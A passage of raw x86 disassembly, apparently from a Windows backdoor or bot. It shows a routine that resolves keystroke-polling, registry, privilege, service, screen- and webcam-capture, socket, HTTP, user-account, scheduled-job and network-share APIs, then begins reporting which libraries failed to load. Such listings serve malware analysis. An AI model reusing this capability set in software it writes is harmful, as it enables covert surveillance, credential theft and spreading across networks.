		jz	short loc_409A0D
		cmp	ds:dword_43F6BC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17

loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	ds:dword_43F730, 1

loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi ; sub_49C076
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_43F634, eax
		call	esi ; sub_49C076
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_43F548, eax
		call	esi ; sub_49C076
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_43F604, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F634, ebx
		mov	ds:dword_43F5F0, eax
		jz	short loc_409A74
		cmp	ds:dword_43F548, ebx
		jz	short loc_409A74
		cmp	ds:dword_43F604, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------

loc_409A69:				; CODE XREF: sub_40981F+144j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F734, eax

loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	ds:dword_43F730, 1

loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; sub_49BF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; sub_49C076
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_43F6D8, eax
		call	esi ; sub_49C076
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_43F61C, eax
		call	esi ; sub_49C076
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_43F68C, eax
		call	esi ; sub_49C076
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_43F574, eax
		call	esi ; sub_49C076
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_43F5D4, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F6D8, ebx
		mov	ds:dword_43F644, eax
		jz	short loc_409B09
		cmp	ds:dword_43F61C, ebx
		jz	short loc_409B09
		cmp	ds:dword_43F68C, ebx
		jz	short loc_409B09
		cmp	ds:dword_43F574, ebx
		jz	short loc_409B09
		cmp	ds:dword_43F5D4, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13

loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	ds:dword_43F738, 1

loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi ; sub_49C076
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_43F64C, eax
		call	esi ; sub_49C076
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_43F624, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F64C, ebx
		mov	ds:dword_43F6D4, eax
		jz	short loc_409B4E
		cmp	ds:dword_43F624, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58

loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	ds:dword_43F738, 1

loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; sub_49C076
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_43F65C, eax
		call	esi ; sub_49C076
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_43F550, eax
		call	esi ; sub_49C076
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_43F558, eax
		call	esi ; sub_49C076
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_43F5B8, eax
		call	esi ; sub_49C076
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_43F5BC, eax
		call	esi ; sub_49C076
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_43F56C, eax
		call	esi ; sub_49C076
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_43F628, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F65C, ebx
		mov	ds:dword_43F55C, eax
		jz	short loc_409BFC
		cmp	ds:dword_43F550, ebx
		jz	short loc_409BFC
		cmp	ds:dword_43F558, ebx
		jz	short loc_409BFC
		cmp	ds:dword_43F5B8, ebx
		jz	short loc_409BFC
		cmp	ds:dword_43F5BC, ebx
		jz	short loc_409BFC
		cmp	ds:dword_43F56C, ebx
		jz	short loc_409BFC
		cmp	ds:dword_43F628, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06

loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	ds:dword_43F738, 1

loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; sub_49C076
		cmp	eax, ebx
		mov	ds:dword_43F554, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------

loc_409C19:				; CODE XREF: sub_40981F+26Aj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F73C, eax

loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	ds:dword_43F738, 1

loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp ; sub_49BF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi ; sub_49C076
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_43F654, eax
		call	esi ; sub_49C076
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_43F6AC, eax
		call	esi ; sub_49C076
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_43F6B4, eax
		call	esi ; sub_49C076
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_43F670, eax
		call	esi ; sub_49C076
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_43F598, eax
		call	esi ; sub_49C076
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_43F544, eax
		call	esi ; sub_49C076
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_43F6B0, eax
		call	esi ; sub_49C076
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_43F530, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F654, ebx
		mov	ds:dword_43F5CC, eax
		jz	short loc_409D05
		cmp	ds:dword_43F6AC, ebx
		jz	short loc_409D05
		cmp	ds:dword_43F6B4, ebx
		jz	short loc_409D05
		cmp	ds:dword_43F670, ebx
		jz	short loc_409D05
		cmp	ds:dword_43F598, ebx
		jz	short loc_409D05
		cmp	ds:dword_43F544, ebx
		jz	short loc_409D05
		cmp	ds:dword_43F6B0, ebx
		jz	short loc_409D05
		cmp	ds:dword_43F530, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------

loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F744, eax

loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	ds:dword_43F740, 1

loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, ds:off_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; sub_49C076
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_43F5E0, eax
		call	esi ; sub_49C076
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_43F70C, eax
		call	esi ; sub_49C076
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_43F584, eax
		call	esi ; sub_49C076
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_43F560, eax
		call	esi ; sub_49C076
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_43F614, eax
		call	esi ; sub_49C076
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_43F5FC, eax
		call	esi ; sub_49C076
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_43F5C8, eax
		call	esi ; sub_49C076
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_43F6E8, eax
		call	esi ; sub_49C076
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_43F704, eax
		call	esi ; sub_49C076
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_43F610, eax
		call	esi ; sub_49C076
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_43F6F4, eax
		call	esi ; sub_49C076
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_43F6A8, eax
		call	esi ; sub_49C076
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_43F668, eax
		call	esi ; sub_49C076
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_43F664, eax
		call	esi ; sub_49C076
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_43F5A4, eax
		call	esi ; sub_49C076
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_43F59C, eax
		call	esi ; sub_49C076
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_43F6B8, eax
		call	esi ; sub_49C076
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_43F6CC, eax
		call	esi ; sub_49C076
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_43F680, eax
		call	esi ; sub_49C076
		mov	ds:dword_43F640, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; sub_49C076
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_43F694, eax
		call	esi ; sub_49C076
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_43F650, eax
		call	esi ; sub_49C076
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_43F690, eax
		call	esi ; sub_49C076
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_43F6FC, eax
		call	esi ; sub_49C076
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_43F648, eax
		call	esi ; sub_49C076
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_43F60C, eax
		call	esi ; sub_49C076
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_43F67C, eax
		call	esi ; sub_49C076
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_43F6EC, eax
		call	esi ; sub_49C076
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_43F620, eax
		call	esi ; sub_49C076
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_43F5C4, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F5E0, ebx
		mov	ds:dword_43F700, eax
		jz	loc_409FD6
		cmp	ds:dword_43F70C, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F584, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F614, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F5FC, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F5C8, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F6E8, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F704, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F610, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F6F4, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F6A8, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F668, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F664, ebx
		jz	loc_409FD6
		cmp	ds:dword_43F5A4, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F6B8, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F6CC, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F680, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F640, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F694, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F650, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F690, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F6FC, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F648, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F60C, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F67C, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F6EC, ebx
		jz	short loc_409FD6
		cmp	ds:dword_43F620, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------

loc_409FCB:				; CODE XREF: sub_40981F+501j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F74C, eax

loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	ds:dword_43F748, 1

loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi ; sub_49C076
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_43F5AC, eax
		call	esi ; sub_49C076
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_43F538, eax
		call	esi ; sub_49C076
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_43F630, eax
		call	esi ; sub_49C076
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_43F5E4, eax
		call	esi ; sub_49C076
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_43F63C, eax
		call	esi ; sub_49C076
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_43F600, eax
		call	esi ; sub_49C076
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_43F578, eax
		call	esi ; sub_49C076
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_43F570, eax
		call	esi ; sub_49C076
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_43F580, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F5AC, ebx
		mov	ecx, ds:dword_43F600
		mov	ds:dword_43F69C, eax
		jz	short loc_40A0C1
		cmp	ds:dword_43F538, ebx
		jz	short loc_40A0C1
		cmp	ds:dword_43F630, ebx
		jz	short loc_40A0C1
		cmp	ds:dword_43F5E4, ebx
		jz	short loc_40A0C1
		cmp	ds:dword_43F63C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	ds:dword_43F578, ebx
		jz	short loc_40A0C1
		cmp	ds:dword_43F570, ebx
		jz	short loc_40A0C1
		cmp	ds:dword_43F580, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB

loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	ds:dword_43F750, 1

loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	ds:dword_43F618, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------

loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F754, eax
		mov	ds:dword_43F750, 1

loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	ds:dword_43F618, ebx

loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi ; sub_49C076
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_43F5F4, eax
		call	esi ; sub_49C076
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_43F720, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F5F4, ebx
		mov	ds:dword_43F58C, eax
		jz	short loc_40A155
		cmp	ds:dword_43F720, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------

loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F75C, eax

loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	ds:dword_43F758, 1

loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi ; sub_49C076
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_43F568, eax
		call	esi ; sub_49C076
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_43F540, eax
		call	esi ; sub_49C076
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_43F5B4, eax
		call	esi ; sub_49C076
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_43F5E8, eax
		call	esi ; sub_49C076
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_43F6F8, eax
		call	esi ; sub_49C076
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_43F5A0, eax
		call	esi ; sub_49C076
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_43F54C, eax
		call	esi ; sub_49C076
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_43F53C, eax
		call	esi ; sub_49C076
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_43F5D0, eax
		call	esi ; sub_49C076
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_43F6C0, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F568, ebx
		mov	ds:dword_43F678, eax
		jz	short loc_40A260
		cmp	ds:dword_43F540, ebx
		jz	short loc_40A260
		cmp	ds:dword_43F5B4, ebx
		jz	short loc_40A260
		cmp	ds:dword_43F5E8, ebx
		jz	short loc_40A260
		cmp	ds:dword_43F6F8, ebx
		jz	short loc_40A260
		cmp	ds:dword_43F5A0, ebx
		jz	short loc_40A260
		cmp	ds:dword_43F54C, ebx
		jz	short loc_40A260
		cmp	ds:dword_43F53C, ebx
		jz	short loc_40A260
		cmp	ds:dword_43F5D0, ebx
		jz	short loc_40A260
		cmp	ds:dword_43F6C0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------

loc_40A255:				; CODE XREF: sub_40981F+94Bj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F764, eax

loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	ds:dword_43F760, 1

loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi ; sub_49C076
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_43F590, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F590, ebx
		mov	ds:dword_43F660, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------

loc_40A29F:				; CODE XREF: sub_40981F+A56j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F76C, eax

loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	ds:dword_43F768, 1

loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi ; sub_49C076
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_43F6E4, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F6E4, ebx
		mov	ds:dword_43F6E0, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------

loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F774, eax

loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	ds:dword_43F770, 1

loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi ; sub_49C076
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_43F710, eax
		call	esi ; sub_49C076
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_43F708, eax
		call	esi ; sub_49C076
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_43F6D0, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F710, ebx
		mov	ds:dword_43F5A8, eax
		jz	short loc_40A368
		cmp	ds:dword_43F708, ebx
		jz	short loc_40A368
		cmp	ds:dword_43F6D0, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------

loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F77C, eax

loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	ds:dword_43F778, 1

loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi ; sub_49C076
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_43F5DC, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F5DC, ebx
		mov	ds:dword_43F6DC, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------

loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F784, eax

loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	ds:dword_43F780, 1

loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi ; sub_49C076
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_43F6A4, eax
		call	esi ; sub_49C076
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_43F6F0, eax
		call	esi ; sub_49C076
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_43F62C, eax
		call	esi ; sub_49C076
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_43F5EC, eax
		call	esi ; sub_49C076
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_43F684, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F6A4, ebx
		mov	ds:dword_43F5F8, eax
		jz	short loc_40A450
		cmp	ds:dword_43F6F0, ebx
		jz	short loc_40A450
		cmp	ds:dword_43F62C, ebx
		jz	short loc_40A450
		cmp	ds:dword_43F5EC, ebx
		jz	short loc_40A450
		cmp	ds:dword_43F684, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------

loc_40A445:				; CODE XREF: sub_40981F+BA8j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F78C, eax

loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	ds:dword_43F788, 1

loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp ; sub_49BE83
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi ; sub_49C076
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	ds:dword_43F5C0, eax
		call	esi ; sub_49C076
		cmp	ds:dword_43F5C0, ebx
		mov	ds:dword_43F698, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------

loc_40A48F:				; CODE XREF: sub_40981F+C46j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ds:dword_43F794, eax

loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	ds:dword_43F790, 1

loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_43F728, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	ds:dword_43F72C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	ds:dword_43F730, esi
		jz	short loc_40A528
		push	ds:dword_43F734
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	ds:dword_43F738, esi
		jz	short loc_40A55C
		push	ds:dword_43F73C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	ds:dword_43F740, esi
		jz	short loc_40A590
		push	ds:dword_43F744
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h

